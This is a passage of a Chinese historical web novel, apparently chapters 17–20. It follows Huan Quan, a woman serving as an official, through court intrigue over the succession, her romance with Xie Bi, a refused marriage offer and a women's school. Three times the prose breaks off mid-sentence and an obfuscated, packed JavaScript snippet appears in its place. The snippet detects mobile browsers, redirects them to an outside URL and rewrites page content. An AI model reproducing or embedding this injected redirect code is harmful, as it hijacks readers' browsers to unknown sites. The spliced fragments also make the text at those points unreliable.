苏钧之乱后,乔昭由尚书令升至太常,明升实贬,对于曾经意气风发的乔元达而言,打击非同一般。 大将军梁冀掌权,怎能容忍昔日苏钧旧臣,乔昭今日尚能保全富贵,不过因为他是当今士人之首。 “立储一事,我想知道元达兄的态度。” 桓权见四周无人,逼近乔昭,目光紧盯着乔昭的眼睛,乔昭被桓权审视的目光盯着不自在,避开桓权的眼睛,道: “陛下之意,即为我之意。” “若陛下与大将军意见相左,乔太常其意如何?” 乔昭闻言直视桓权,目光中有惊惧,有打量,没有正面回答,反问道: “士衡这话是代大将军问的吗?” “若是大将军该当如何?若是权,又当如何?” “若是大将军,自然以大将军为先,若是士衡,则以天子为重。” 乔昭给了桓权一个模棱两可的答案,桓权轻笑一声,拱手道: “权明白了。” 两人都是聪明人,相视一笑,谢弼一直在一旁听着,并不插话,他很清楚,此事的危险性,他还是置身事外的好。 “士衡,当日我向陛下引荐你,便是看中你这股机敏劲,通达灵变,希望你能做到比我好。” “权不敢和元达兄相比,只望朝廷无事,天下安康,足矣。” 乔昭与桓权互相敬酒,笑而不答,两人一切话语都融入酒中。 “这样好的景色,若是因案牍之事劳形费神,未免太辜负这般美色了,不如我们来谈玄,如何?” 谢弼的这个提议,很快得到乔昭和谢弼的响应。 三人均是谈玄的大家,随便指着草木,便开始了今日的辩题,辩的正是“草木生死”一事。 其原句出于道德经“万物草木之生也柔脆,其死也枯槁”。 三人很快就各抒己见,引古论今,妙语连篇,吸引不少青年都来围观。 几人表面论述草木,实则论述柔弱刚强的辩证关系。 又是谈玄,又是赋诗,又是饮酒,于几人而言都是少有的快乐时光。 然而忧愁日长,欢乐时短。 桓权在宴会结束后,就入大将军府见了大将军。 梁冀是在书房见的桓权,屏退屋中侍卫,只留下桓权一人。 “乔元达是何意?” “太常终日饮酒,耽于享乐,并不以国事为忧,全凭大将军度之。” “是吗?乔元达这样的人也会耽于享乐吗?” “山水之乐,与美色之乐不同,赤松之游,与王侯之乐不同。乔太常所求,已非人间之事。” 梁冀盯着桓权,他很清楚桓权是在为乔昭开脱,不过他并不想计较。 乔昭声名的确令他有所顾忌,他不能轻易除掉他,可也不能放过他。 若乔昭真的识趣,能够远离朝堂,他不介意给乔昭一条活路,也给桓权一个面子。 “既如此,乔元达哪里可以不用那么多人监视着了。 士衡,你是个聪明人,你做了许多,江左那些貉奴未必会领你的情。” “臣不是为了江左世族,实为了大将军。” “士衡,你终究是少年赤子之心,看不透这朝堂诡谲。 不过我已上奏陛下,请立陈王为嗣。” “大将军。” 桓权有些惊讶,尽管她多次劝说大将军但心底并无太多把握,毕竟肃王即位对于大将军的好处太过明显。 “给那群貉子一些好处也无妨,只要不妨碍本将军北伐大业,本将军可以成全他们。” “大将军大义!” 桓权恭敬一揖,这一拜是衷心感激。 “士衡,本将军意欲征你为将军府书记室,你意向如何?” 书记室虽然官卑位小,却是大将军的心腹,若她应下了,以后便只能是大将军的人了。 若他日大将军败亡,她也将尸骨无存。 可若是她现在不应,便是明面拒绝大将军拉拢了,此后必将步履维艰,只恐有性命之忧。 桓权只是略一沉思,便跪下,道: “臣谢大将军厚爱,必将结草衔环,以报将军知遇之恩。” “你放心,本将军不会亏待你的,你尚书台的官职仍旧担着,只是你别忘了,你是我的人。” “是。” 桓权一身冷汗出了大将军府,内心仍觉得惶惑不安,回府见到关心她的谢弼,一时也不知该如何开口。 当日谢弼被逼辞官,里面未曾没有大将军的授意,谢弼对于大将军梁冀的不满,一点都不少于当日的苏钧。 于谢弼而言,梁冀和苏钧并无区别,都是乱臣贼子。 自己今日答应大将军的征辟,无异于公开站队梁冀,此后她将更无退路。 “你怎么了?一直魂不守舍的。” 桓权沉吟半晌,终是将此事告诉给了谢弼,谢弼闻言久久不语,桓权有些忐忑不安,正要开口解释。 “只可惜,你我南山采薇终究只是空梦一场。” 当年,桓权尚未出仕时,两人曾在南山许下隐居的承诺,这么多年,无论世事如何变幻,两人总会提起这个绮梦。 在两人的打算中,这个南山隐居的梦愈发丰富,具体到门前种几棵柳树,屋后栽几株榆树,上山采药,山间种杏…… 只可惜这个梦如今是愈发远了。 “我并未料到会如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653593|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此。” 桓权苍白解释着。 “我知道,当日你执意入仕时,我便知道,会有这么一天的。 欲高飞振翅,却为罗网所羁。 士衡,世路多险巇,我真担心有朝一日,你会护不住自己。” “不会有那么一天的。”桓权自己也没有太多把握,却还是强撑着说道,目光落在谢弼的脸上,勉强露出一丝笑意。 “当日入仕,我便许下壮志,今生定要扬名天下,或是名垂青史,或是遗臭万年。 世路险巇,是危局,也是机遇。若我奋力一试,难道我便不能封侯拜将,为一世枭雄,届时我必要让天下人皆知我桓权乃是巾帼女儿。” “难道名利于你而言就这般重要?” “名利于桓士衡不重要,但对于桓家女儿重要,古往今来,多少有才情谋略的女儿,才华被埋没,声名被诋毁,我不喜欢。 辅嗣,既然上天让我再活一次,我必不能辜负这份美意。 这乱世为何不能结束在我手中!” 桓权收起柔情心肠,目光尖锐,她素来是不同于一般人的,她自信于才华、谋略,她更有逐鹿天下的志向。 谢弼跟随桓权的目光,一同看向当空皓月,院中的白鹤凄厉嗥叫,声音响彻九霄。 “士衡,我盼与你‘逍遥游太清’‘服食求神仙’,如今看来竟只是我一厢情愿了。” 谢弼苦笑着,他不忍去看桓权,桓权却目不转睛盯着他,笑道: “辅嗣,待我功成身退,再归隐也不晚。” 谢弼知道桓权是在哄他,古来有几人能真的做到“功成身退”,更何况桓权名利心那么重,才高志大,她又怎么甘心退隐山林。 “士衡,无论沧海桑田,我等你。” 谢弼还是愿意去相信,哪怕只是一场空梦,他也愿倾尽一生来等待。 桓权笑了,猛然扑进谢弼的怀里,语气兴奋得犹如二八少女, “辅嗣,你真好!” 谢弼无奈笑着,搂住桓权的腰,心底蔓延出无边苦涩,却将怀中人抱地跟紧了些。 他多么希望桓权能随他一同归隐南山,多么期望两人能如年少时,不必疲倦论道谈玄,游戏山林,采药炼丹。 可惜两人志向不同,他不愿入仕,受官场繁文缛节羁绊,更不愿奴颜婢膝讨好那群势力之人,本性孤傲,注定不容于俗世。 桓权与他不同,桓权性傲,却能与世随和,谨于礼法,以至于进退得宜,颇如鱼得水。 “辅嗣,我好喜欢你。” 谢弼身子一怔,抬起头难以置信看着桓权,太过直白的示爱,让他有些手足无措,桓权却捧着他的脸,又一次正式地说道: “辅嗣,我心悦你很久了。” 谢弼心中漏掉一拍,还未来得及反应,桓权便吻了上来,不似蜻蜓点水,却如雨打残花。 桓权没有给谢弼太多反应时间,她跟随自己心意,在谢弼的领地里无情地掠夺,谢弼只有被动的份。 待回过神来,两人早已倒在了竹席上,谢弼只觉浑身燥热,如同服药了一般,拽着桓权的手抱住自己的脖颈。 “士衡!” 早在三年前,两人便已偷食禁果,只是这些年两人聚少离多,谢弼修身,不重情欲,桓权守孝,修身养性,两人总共算来也不过三四次。 如这般情致性来,鸳鸯于飞,牡丹含露,更是少有。 18. 第十八章 举案齐眉 桓权起身,亵衣从肩头滑落,白皙的肩背处有两道清晰的疤痕,谢弼躺着注视着桓权,瞧见两道疤痕,眼神一暗,伸手抚摸疤痕。 “别弄,怪痒的。” “当年,谢谢你。” “什么?” 桓权回头,打掉谢弼不安分的手,不解地问道。 谢弼摇摇头笑了,他心底明白,那伤疤是因他而留下的,桓权从未提及当初救他一事,他心中却始终难以忘怀。 “士衡,此生得卿,如得一朗月,是弼之幸。” “怎么突然说这个?这可不像是你的性子,不过,”桓权故意卖关子停顿下来,谢弼知晓桓权的小心思,追问道, “不过什么?” “不过我喜欢听。” “阿谀之言,士衡喜欢?” “旁人阿谀我自然不信,辅嗣与旁人不同,辅嗣是我心中之人,你我以心相交,便不算是阿谀,只算是情趣。” “那日后我便多说,士衡高兴便好。” “我们拉钩。” 谢弼被桓权童趣的样子逗笑了,却还是伸出手来与桓权拉钩,桓权笑吟吟,道: “拉钩上吊,一百年不许变,变了就是小狗。” 一边说着一边笑,两人在榻上打闹着,桓权趁谢弼不在意挠他胳肢窝,两人闹着滚到了一处,桓权被谢弼压在身下,笑嘻嘻求饶道: “好辅嗣!辅嗣公子!我认输!认输!” 谢弼松开挠痒痒的手,将桓权揽在怀中,两人仰面躺着,桓权靠在谢弼的肩臂处,笑呵呵道: “谢辅嗣,你会永远爱我吗?” “为什么这样问?” “老子有云:‘天地尚不能久,而况于人乎﹖’我不信长久,只求此刻安乐,唯独辅嗣,我总盼望着能长久一些。” “‘希言自然’,唯‘从事于道’而已。” 桓权闻言收起了笑意,虽然她也爱用玄言表明自己的心意,可此刻她却希望有一个明确的答案。 “可到底什么是‘道’?什么是‘自然’?” “万物得其真谓之‘道’,万物生之长之畜之,不伤天和,以无为谓之‘自然’。” 桓权无奈地起身穿衣,苦笑道: “谢辅嗣,床榻之间论述这个,是很煞风景的一件事。” 谢弼有些茫然,跟随桓权一同起身,拉过桓权的手,让她转身面对自己,目光真挚,闪动着暧昧情意。 “士衡,我倾慕于你是真;愿执子之手,白首不离是真;愿聘汝为妻,举案齐眉为真;愿共汝山水逍遥,求道修行为真; 我此事不求富贵荣华,但求一‘真’一‘朴’,士衡于我,早已是知己。 ‘飘风不终朝,骤雨不终日’,我所能许卿的,唯有此刻,未来,弼也不知,故而不敢轻许。” 桓权闻言低下了头,若有所思,许久,方才应道: “谢辅嗣,若你我不是生于这乱世,该有多好。” “纵使是汉文帝之明,尚有贾生之屈,个人的遭际又岂能尽如人意。 你我能有今朝相识相知的缘分,便远胜于多少古人了。” 桓权因谢弼的话动容,泪下沾襟,刚刚那一刻,她忍不住想,若是她二人不是在这乱世相遇,而是生于现代,或许就不会这般纠结了。 谢弼一番话将她唤回现实,她不得不感慨,世事通明,谢弼远胜于她。 桓权长叹一声,抬头,斜睨着谢弼,眼底的挑衅毫不遮掩,笑道: “人心总是不足的,我又如何能例外。权势名利,儿女柔情,我都想拥有。” 谢弼哑然失笑,若是旁人在他面前说起这些,他必然是不屑一顾的,可这人是桓权,他却只觉得有趣。 其他人都会用大义来伪装野心,唯独桓权会明晃晃将野心摆在自己面前,她真挚坦然,就连伪装都显得那么可爱。 “你未免太贪心了。” “贪心些才好,这世上知足的女子太多了,少我一个也不算什么。 辅嗣,你说我能位列三公吗?” “你这胃口未免也太大了。若真到那时,只恐你也是两鬓斑白,那我不是要空等半生?” “难道辅嗣不愿意等我?要是不愿,以你的家世才情,还怕没有娇妻相伴吗?” “可我舍不得。” “贫嘴。” 桓权的心情很好,刚刚的阴霾被一扫而光,披上了鹤氅,就开始翻谢弼的衣裳,谢弼好奇道: “找什么?” “药。我可不想怀孕。” “别找了,那药我又没随身带着,况且那药女子服用伤身,你身子本就虚寒,何苦来哉!” 当年两人定情后,桓权就曾明确告诉他,她要入仕,就不会生子。 谢弼知晓旁的药太过伤身,索性自己配了药,好在毒性有限,只要不长期服用,还是无碍的。 这些年两人欢好次数有限,就是顾忌着桓权的身体,唯独这次,两人久别重逢,难免冲动了些。 “现在若是怀孕,谢辅嗣,这就是要我的命,我要是必死,一定拉你陪葬。 双双殉情,也算是一桩美谈。” 谢弼无奈笑了,他相信桓权说得出,做得到,将桓权拽到怀中,耳鬓厮磨,笑道: “你放心,我已经饮过药,不会有孩子的。” “你?” 桓权有些惊讶,露出难以置信的神情。 “反正此生弼唯士衡一人,士衡又醉心权势,既然注定无法相守,何苦让你伤身。” “谢辅嗣,你是认真的?” 谢弼颔首,见桓权郑重其事,面露不忍,笑着安慰道: “你放心,这药偶尔服用,无妨的。” 桓权颔首,落下泪来,心中感慨万千。 谢弼留京时,常去拜访当年旧友,论道谈玄,抑或是去寺庙找和尚谈论佛经,又或是整日与桓权腻歪在一起。 这日桓权正在练习书法,染黑了一缸池水,谢弼默然在一旁给《道德经》做注,两人做着各自的事,互不打扰,只偶尔抬头,目光相对,相视一笑。 “公子,顾侍郎来帖,邀您明日过府赏菊。” “好,我知道了,明日会去的。”桓权说着,抬笔就写了一副回帖,让顾家小厮带回去。 “顾四郎形容粗鄙,乃势利之人,士衡怎么会和他搅弄在一处?” “陈王立储,顾氏得益,此番下帖必然是为此事。” “立储一事,难道已经定下来不成?” 谢弼久离朝堂,自然不知其中内幕,但这几日偶然听桓权、乔昭等人说起,心中也猜着了八九分。 “大将军上书,陛下有意,过几日便颁发明旨,算是定下了。” “顾氏若为外戚,梁冀也会有所顾忌。” “我反倒觉得顾氏败亡之日将近,天子舅父,古来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653594|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又有几个家族得长远了?” 桓权嗤笑着,她目光冷冽,宛如局外之人,分明这个结果是她一手促成的,桓权心底却没有半分兴奋。 “可我只担心你。 你此番公开站队梁冀,只怕日后艰难。” “无非是些人言罢了,若连这点人言都害怕,谈什么封侯拜相。” 谢弼默然,只是瞧桓权的目光满是欣赏,她有着自己所没有的无畏,这份坚定与勇气。 谢弼知道自己的目光不会再离开桓士衡了。 顾四郎为当今皇后之弟,与帝妃顾夫人是一母所生,本名顾容,字言裕,入仕十余载,今担任侍中之职。 桓权乘辇前去赴约,顾四郎在门口亲自执帚相迎,见桓权,立马将人迎进屋内,请尽主院中。 顾四郎特意请了郑寔郑侍郎相陪,三人相互见了礼。 “子真兄,许久不见,可还安好?” “听闻士衡今朝为大将军宠臣,当真是‘士别三日,当刮目相看’啊!” 顾四郎闻言面露难色,这句说不清是在讥讽还是在奉承的话语,的确让桓权有些难堪。 顾容急忙用言语岔开,道: “子真兄久未在朝,不知朝廷之事,想是被传闻所误也是有的。” 郑寔冷笑着,瞧着桓权的目光满是审视,道: “是吗?只是传闻?” “大将军如何?不过都是陛下的臣子,子真兄以为呢?” 桓权含笑,直面上郑寔审视的目光,毫无愧色,反倒令郑寔有些心虚。 “巧言令色,桓士衡这辩才,不输于当年。” “过奖了,只是不知子真兄是否还有当年的‘浩然之气’呢?” 两人针锋相对,让一旁的顾容在心底叫苦不迭,他原是想着郑寔和桓权是旧友,才邀郑寔相陪的,不想两人原来这般不对付。 “两位,酒宴已经备好,何不进屋去,边喝边谈。” 郑寔知道今日是顾容的主场,也不好驳了主人家的好意,笑着拱手,道: “适才玩笑耳。” 桓权自然是不会计较这些微末小事,拱手一笑,相互谦让着入正厅分主宾坐下。 “今日邀士衡入府,一是为赏秋菊,二是感谢士衡直言,方才有顾氏今日。” “言裕兄客气了,权不过是尽些微末之力。” 桓权和顾容心底都明白是为何事,只是碍于郑寔,并未说明。 郑寔也无意追问,他新归朝堂不久,对于朝堂诸事了解的并不清楚,只知近来朝堂因立储一事掀起了不少风雨。 不少人上书天子请立太子,都被申饬,有人甚至因此被贬谪。 郑寔已经经历了一番朝堂之争了,如今他并不愿贸然涉入这场储君之争中。 无论是肃王,还是陈王,谁为储君,于他而言,并无太多差别。 当年他因牵涉苏峻之乱被免职,如今好不容易再得天子重用,官复原职,已是皇恩浩荡。 虽然心底对于大将军梁冀怨恨颇多,却不敢发出,只得隐忍。 郑寔可太清楚梁冀手段了,当年苏钧之乱结束,梁冀父子趁势执掌大权,独揽朝政,挟持天子。 借清除苏钧余党,铲除异己,朝堂之上多少忠义之士被杀,多少英才杰士被迫退隐。 他也因一封旧日书信被诬陷为苏钧党人,若非证据不足,他又是皇亲国戚,才得以保全性命。 19. 第十九章 一日夫妻,百世姻缘 “我有一事,还请子真兄做个见证才好。” 酒过三巡,顾容突然开口,郑寔欣赏舞姬舞姿的目光落在顾容身上,笑道: “主人翁请讲。” “我有一妹,年方二八,正值青春年华,也颇有些姿色,有意将其许配给士衡公子,不知士衡公子意向如何。” “这……” 桓权面露难色,吞吐难言,顾容见状有些尴尬。 他江左顾氏的姑娘,皇后之妹,求娶之人何其多,若非此番立储一事桓权出力甚多,又是大将军梁冀的亲信,他也不会将自己的妹妹许配给桓权。 “士衡似乎有难言之隐,但说无妨。” 郑寔连忙替顾容开口询问,缓和场面的尴尬。 “不瞒两位兄长,权已有婚约在身,不敢再娶。” 闻言,顾容哈哈大笑起来,朗声道: “我当是什么!原来是这件事,她一叛贼逆臣之女,怎可堪配桓氏三郎? 士衡若是担心流言,我可向皇后请旨,废除你二人的婚约就是。” “非也。常言道:‘一日夫妻,百世姻缘’,纵使我与江女郎没有夫妻的缘分,却也有三载婚约的情分,如今江女郎正处困厄当中,我又怎能另娶他人。” 桓权这话一出,郑寔反倒不好再劝,顾容也有些讷讷地,只得拱手道: “士衡公子当真是仁义之人。” 宴会之上,多不过是歌舞酒宴,饮酒赋诗,顾容不善文,自然也不会与桓权论诗。 言语之中不过相互恭维,说些无关痛痒的官场话罢了。 桓权心底清楚,陈王立储一事已定,顾氏并不愿与大将军为难,他想拉拢桓权,就是希望桓权能在大将军面前美言几句。 大将军掌权,天子势微。 桓权只是敷衍塞责着,心底却没有半分触动,面上笑意盈盈,称顾容一声“国舅爷”,心底却颇为不屑。 顾容无才无德,若非出身江左顾氏,妹妹做了皇后,他又怎会有今日的权势富贵。 如今仗着自己的侄儿成了储君,便想着谋求九卿之位。 他希望借桓权的面子,能够得到大将军青睐,若有大将军支持,他的九卿之位不过是轻而易举。 外戚和权臣联合,顾氏的权势必能更上一个台阶。 而他们需要一个合适的引介人,桓权无疑是最合适的人选。 宴会结束,顾容亲自将人送到门口,拱手道: “引荐大将军一事就拜托士衡公子了,容在此感激不尽。” “不敢当,权自当勉力而为。” 顾容一挥手,府内便涌出一队舞姬,头戴藩篱,身着粉衣,桓权瞟了一眼,约有六人之多。 “听闻士衡公子喜好歌舞,小小心意,不成敬意。” 桓权脸色僵硬,虽说世家贵族间互赠舞姬是寻常事,桓权却是从心底反感,只是碍于情面,不好翻脸。 “怎么?士衡公子不喜欢吗?若是士衡不满意,我这另有技艺娴熟、姿容艳丽者。” “非也。” 桓权强压着心底的恶心,挤出几许笑意,道: “如此,很好,多谢顾侍中美意了。” 桓权只得应下,让人送回府中,交由蕲茝姑娘处置。 “桓士衡,且慢行。” 郑寔追了上来,桓权顿步,对郑寔拱手,道: “郑常侍。” “可否借步一叙。” 桓权随郑寔去了江边〔南华楼〕,这里是江左陆氏的基业,南华楼有七层之高,取北斗七星之意,在楼上,可俯瞰整个建康城。 江面水光粼粼,映射着白色的日光,浮柳低垂,江左的秋日多彩缤纷,却仍以绿意为主。 昔日少年时,桓权、郑寔几人常在这高楼之上饮酒赋诗,服药论道,如今再登,却已是物是人非。 两人靠窗而坐,小二上了些点心酒水后,就关门退下了。 “当年忠义之士,如今也成了谄佞之徒了吗?” 桓权冷笑着,道:“郑常侍若只是为了说这些,权便告辞了。”说着作势起身。 郑寔忙拉住桓权的手,道: “我不是这个意思,只是有些不明白,你桓氏也是当朝世家大族,你又何必依附于大将军?” “那子真兄告诉我,应该如何?大将军征辟,难道我还能拒绝不成?” 郑寔默然,低着头苦闷着饮酒,道: “梁冀这人不可轻信,当年他明明说好,入建康城勤王,谁能想到他竟会趁机挟持天子,假借天子之名,封自己为大将军,将天下军权揽于自己一身,又屠杀公卿国戚,乱臣贼子之心,昭然若揭。” “郑子真慎言!” 桓权听郑寔咒怨,多次想要开口阻止,都被郑寔打断,没奈何,只得听郑寔说完,只是听到最后,面色已经青白。 “难道士衡还会告密不成?” 郑寔注视着桓权的眼睛,似乎要从这漆黑的瞳孔中瞧见曾经士衡公子的模样,只可惜,他只能从这清凉如水的眼眸中看见自己的倒影。 “子真兄纵使不惜自己的性命,也该顾念家人才是。” 桓权没有正面回答郑寔的质问,为自己倒了半盏酒水,笑意盈盈,却又意味深长。 郑寔略微清醒些,收起脸上的泪痕,为自己斟了半盏酒水,道: “士衡,今日我见你席间于那江女郎尚有几分情意,不是贪慕富贵之人,就知士衡仍是昔日士衡。 桓士衡,你心中若真存几分仁义,就该明白梁冀不是一位良主。” “郑子真,你还真是一如既往的自傲啊!” “桓士衡,我不是在玩笑,只是不忍你走我的旧路。当年永安门之变,你不曾亲历,不知道梁冀是何等心狠手辣。” 当年郑寔畏惧强权,被迫应了苏钧的征辟,虽未曾同流合污,然而苏钧之乱后,仍旧牵涉其中。 当日梁冀入建康城时,曾许诺,不再追究追随苏峻旧臣一事,可真正入城后,就翻脸不认人,他也因得过苏钧举荐之恩,被辍免。 苏峻之乱被平定后,桓权重新回到南山守丧,然而不久谢弼就愤而辞官,邓玠亲自参与了这场兵变,桓权多多少少都会知晓一些消息。 “子真兄,若你真想保全,当年之事就请烂在肚子里,别再提及,也别再怨恨。” 桓权眼眸低垂,叮嘱了一句,若是旁人,她未必会多这个嘴。 桓权起身意欲离开,郑寔看着桓权的背影,道: “你桓氏一族世受皇恩,难道你忍心见天子受屈吗?” 桓权冷笑一声,一甩袖直接离开。 走出〔南华楼〕,秋光正好,落在身上,暖洋洋的,抬头看向天空,万里无云。 桓权明白郑寔心中的愤懑和不甘,可这世上,本来就是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653595|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 有人得意,自然有人失意。 当年的郑寔是何等志得意满,迎娶郡主为妻,又有美妾相伴,自身才华横溢,甚得天子看重,一入仕便为“秘书郎”。 大将军苏峻待他有礼,甚至亲自举荐他担任散骑常侍。 他前程似锦,又有志同道合的挚友,“金陵五杰”作诗唱和,是何等自在。 一朝叛乱起,一切都变了。 郑寔不甘心,他自负才华,怎甘心受辱。 如今更是发现当初挚友,投靠了自己是仇人政敌,郑寔心中的那份怨恨更盛。 桓权虽然同情,却也无能为力。 这世上的人都有自己的路要走,或是孤注一掷,或是庸庸碌碌,或是蝇营狗苟。 郑寔苦笑着,一面落泪,一面饮酒。 他心中苦闷,似乎有些能理解乔昭的寄情山水了。 只是他实在咽不下这口气,他不是乔昭,做不到面不改色,也不甘心退让。 桓权回府,只觉得满身疲累,蕲茝端上来半碗肉糜,和两三碟酱菜,是葵菘、芜菁、蜀芥腌渍后的咸菹。 桓权喝了几口后,忽然想起顾容送来的几个舞姬,问道: “顾容送来的姑娘是如何处理的?” “依着老规矩,送入女学,教授诗书礼乐。 也问过她们,是否愿意离府恢复自由身的,许是因为害怕,都没有回答。” “无妨,通知女学那般的师傅,好生教导就是,两月后,我会对女学进行考校。” “是。” 女学是当年桓权母亲所创,原本只是闲来教导府中婢女读书的场所,后来桓权入仕,府中此后的人也就多了起来,索性就设了女学。 凡是入府的婢女都需在女学学习一年,直到考校合格方许离开。 读书历来是件奢侈的事,世家贵族除了诗书传家的家族外,少有人会让女子读书。 能读完《女诫》,就已经算是知礼了,读完《诗经》,就算是知书了。 世家之女,尚且如此。 “赵阿七那里如何了?” “按公子的意思,已经刻完第一卷《论语》了,样本阿七说明日,就可送来。” “你看过吗?” “我和毛舒都去看过,我瞧着很是清楚,虽不能与名家书法相比,但并不影响阅读。 舒姐姐则不太满意,以为还有可精进的地方。 公子这个方法好,若能推而广之,以后能够读书的人就多起来了。” 这个时代,书籍传播主要靠手抄,对于世家而言,拥有万千典籍,却束之高阁,这些年动乱时起,又不知毁于战火之中多少。 桓权心中不忍。 她知道有一门技术,可以改变这样的现状,她不得不去做。 当年她在南山守丧之时,便花费一年的时间,进行实验,却也只印刷出一本《道德经》。 后来桓权入仕,便请木匠来雕刻尝试,想着待技术成熟,再推广至整个天下。 如今已经是第二年了,因为纸张问题,印刷总是不尽如人意。 桓权正询问细节,毛舒忽然急匆匆从外面回来,也不要人通报,直接进屋来: “公子。” “何事?” “王六的事定了,判处秋后问斩,就是几天后的事了。” “琅琊王氏那边可有说什么?” 20. 第二十章 这个不堪的世道 “琅琊王氏那边倒是没什么动静,只听闻几天前,临淄侯曾请郎主赴菊花宴。” “如此,我便明白了。” 一个旁支,琅琊王氏未必有多在意,但世家的面子总是不容践踏,容不得被旁人欺辱的。 他们同意对王六袖手旁观,必然是要讨些利息的。 旁人或许不知王六一事的底细,只以为是运气不好,犯在司隶校尉手中,琅琊王氏家主临淄侯却明白,这背后的勾当。 “公子,难道这个世道就不能堂堂正正求一个公道吗?” 毛舒还是有些不甘心,明明是一件理所应当的事情,偏偏就这么窝囊。 “你可以试试。还没吃饭吧?来,一起吃。” 桓权半开玩笑,一面要人再去盛一碗肉糜来,让毛舒和自己一起用膳。 毛舒倒也没客气,直接吃起来,吃到一半,心里还是很难受,将碗摔在桌案上,道: “这样是非颠倒的世道,还不如毁灭了算了!” “这个我支持!最好是世界末日,这样谁都不用活了。” 桓权煞有其事点头表示赞同,毛舒见状,斜睨了桓权一眼。 “……” 蕲茝在一旁被逗笑了,道: “好好的,说这些不吉利的作甚。” “蕲茝,什么叫好好的,这世道好吗?有理不能明,有冤无处申,人活得还不如畜生。” “这一点你还真说对了,于上层世家而言,普通人还真不如畜生。 杜甫有句诗说得好,‘朱门酒肉臭,路有冻死骨’,这不就是摆在眼前吗?” “公子,杜甫是谁啊?怎么没听说过?是当朝人吗?” 蕲茝紧接着追问,毛舒被蕲茝穷追不舍的模样逗笑了,道: “华生,你发现了盲点。” “啊?” 蕲茝愈发迷惘,一双水灵灵的大眼睛盯着毛舒。 桓权也被逗笑了,道: “好了,别闹了,先吃饭。” 饭罢,桓权敛袖立于中庭,阳光透过树隙落在桓权月白色长衫上,树影婆娑,毛舒将书案搬到了廊下,练字。 “毛舒,当初你受苦了。” “啊?” 毛舒震惊抬头看向桓权,她跟着桓权两年,桓权甚少过问过她的过去,突然提及,她总疑心桓权不怀好意。 “其实我挺佩服你的,能从虎口中脱身,从洛阳到淮北,你真的……很了不起。” “突然提这些干什么?” 毛舒心中涌出些许感动,这么多年,她为了活着拼尽全力,尊严什么的都抛了个一干二净。她从不奢求有人能够理解,只要能够活下来,她什么都可以做。 突然被人关心,反倒让习惯忍受苦难的毛舒有些猝不及防,甚至觉得尴尬。 “都过去了。” “我常常觉得身处异世的我是何其幸运,出身世家,有位才女母亲,有愿意照顾弟弟妹妹的兄长,有知己,有朋友,还有……异世的同乡人。” 桓权看向毛舒,扬起嘴角,露出一抹浓烈的笑容,那是习惯于伪装的人,偶尔的真心。 “你想说什么?” 原本还被感动的毛舒,闻言心生警惕,她太了解桓权了,这是个无情无心的人,她不会平白无故同情人。 “没什么,就是觉得这个世界真的是糟透了。让人喘不过气来,好想将这个世界撕烂了,呼上一口新鲜空气。” 蕲茝端着点心进院来,听着桓权这一番发言,将糕点放在毛舒桌案上,悄声问道: “公子这是咋了?” 毛舒摇摇头,无所谓地道: “吃错药了,别管她的,一会儿就好了。” “吃药?公子病了吗?” 蕲茝闻言立马便急了,当即就要去请医官,还是毛舒一把拉住了蕲茝,笑道: “别忙!没啥事。你这风风火火的性子一点都不像你家公子。” “真没事?” “没事,估计今日受刺激了。” 蕲茝将信将疑,面露忧色,看向桓权,桓权对蕲茝做了个噤声的手势,道: “毛舒,我有一个想法,你听听是否可行。” “什么?” “我想让江芷到女学来教书,你以为如何?” “桓权,你疯了吧!江芷!怎么可能?” “为何不可?江芷的才学我是知道的,教导十多个女孩,自然是不成问题。 她如今在京中无依无靠,也无事可做,我聘她为女夫子,就在我眼皮底下,也可护着她。 当日兄长问我,对于江芷未来可有甚打算,我思来想去,我既不能让她为我外室,毁了她名声,又不能将她另许他人。 经商也是不可能的,士农工商,商乃贱业,江芷堂堂侯门女,怎愿受此折辱。 唯有女夫子,是最适合不过的。” “公子想得挺好的,可公子别忘了,女学中的学生大多是奴仆贱婢,公子不计较这些,难道江女郎也不会计较吗?” “这有什么?若我当初没有入仕,和辅嗣隐居南山,必然是他采药行医,我教书著文,岂不乐哉?” “公子,那只是你的想法。” 桓权轻笑一声,毫不在意,道: “你且去说说,若是不成,再说。” 毛舒闻言便知是桓权已经定好的事,只得称“是”。 桓权笑着转身离开府门,毛舒瞧着桓权的背影,暗骂道: “呸!这两年臭脾气是愈发大了!呼来喝去的!” “啥?” 蕲茝只听见毛舒小声蛐蛐,但也没听见具体说什么,好奇地询问。 “我说咱们这位公子如今是愈发会做官了!满身的粪土味!” “啊?” 蕲茝愈发不懂了。 毛舒也不解释,冷哼一声,恶狠狠咬了一口糕点。 